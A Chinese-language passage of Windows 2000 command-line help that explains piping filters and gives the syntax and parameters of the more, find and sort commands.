要在相同命令中使用多个筛选器,请使用管道 (|) 分隔筛选器。例如,下面的命令搜索 C 盘上的每个目录以查找包含“Log”字符串的文件名,并且每次显示一屏:
dir c:\ /s /b | find "LOG" | more
因为使用管道 (|),Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串“Log”的文件名。more 命令每次一屏地显示 find 命令选择的文件名。 More 每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令,或者使用它控制其他命令的输出,例如 type 命令。当显示填充可用的查看区域时将出现 more 提示,用户可以输入许多命令来控制查看文件其余部分的方式。
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
参数
[drive:][path] filename
指定要显示的文件。
command name
指定将显示其输出的命令。
/c
显示页面前清除屏幕。
/p
扩展换页符。
/s
将多个空白行更改为一个空白行。
/tn
将制表位更改为 n 个空格
+n
显示由 n 指定的行开始的第一个文件。
files
指定要显示的文件列表。用空格分隔文件名。
More 子命令
以下命令在 more 提示 (-- More --) 下接受。
关键字 操作 space 显示下一页。 ENTER 显示下一行。 F 显示下一个文件。 q 退出。 显示可用命令。 = 显示行号。 P n 显示以下 n 行。 S n 跳过下面 n 行。 Find 在一个文件或多个文件中搜索指定的文本字符串。
当搜索到指定的文件后,find 将显示出包含指定字符串的所有行。
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
参数
/v
显示未包含指定字符串的所有行。
/c
只显示包含指定字符串的行数。
/n
将文件行号置于每行开头。
/I
指定搜索不区分大小写。
"string"
指定要搜索的字符组。必须将 string 的文本包括在引号中。
[drive:][path] filename
指定要在其中搜索指定字符串的文件的位置和名称。 Sort 读取输入、排序数据并将结果写到屏幕、文件和其他设备上。
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]
参数
/r
颠倒排序顺序,即从 Z 到 A 排序,然后从 9 到 0 排序。
/+n
指定字符位置号 n,sort 在此处开始每次比较。例如,/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下,比较在每行的第一个字符开始。
/m kilobytes
指定用于排序的主内存数量,按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小,则无论有多少主内存可用,指定的确切数量(但至少 160 KB)的内存将用于排序。
如果输入输出均为文件,在没有指定大小时,默认最大内存大小为可用主内存的 90%,否则为主内存的 45%。默认设置通常会产生最佳的性能。
/l locale
替代由系统默认区域设置定义的字符排序顺序;即在安装 Windows 2000 时选择的语言和“国家(地区)”。目前,默认区域设置唯一的备用选项就是“C”区域设置,该区域设置比自然语言排序快,根据二进制编码对字符排序。
/rec characters
指定记录或输入文件的行中的最多字符数(默认值为 4096,最大值为 65535)。
[drive1:][path1]filename1
指定要排序的文件。如果没有指定文件名,则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。
/t [drive2:][path2]
指定保留 sort 命令工作存储的目录路径,防止数据不能装入主内存。默认为使用系统临时目录。
/o [drive3:][path3]filename3
指定要存储排序后的输入的文件。如果没有指定,数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!
|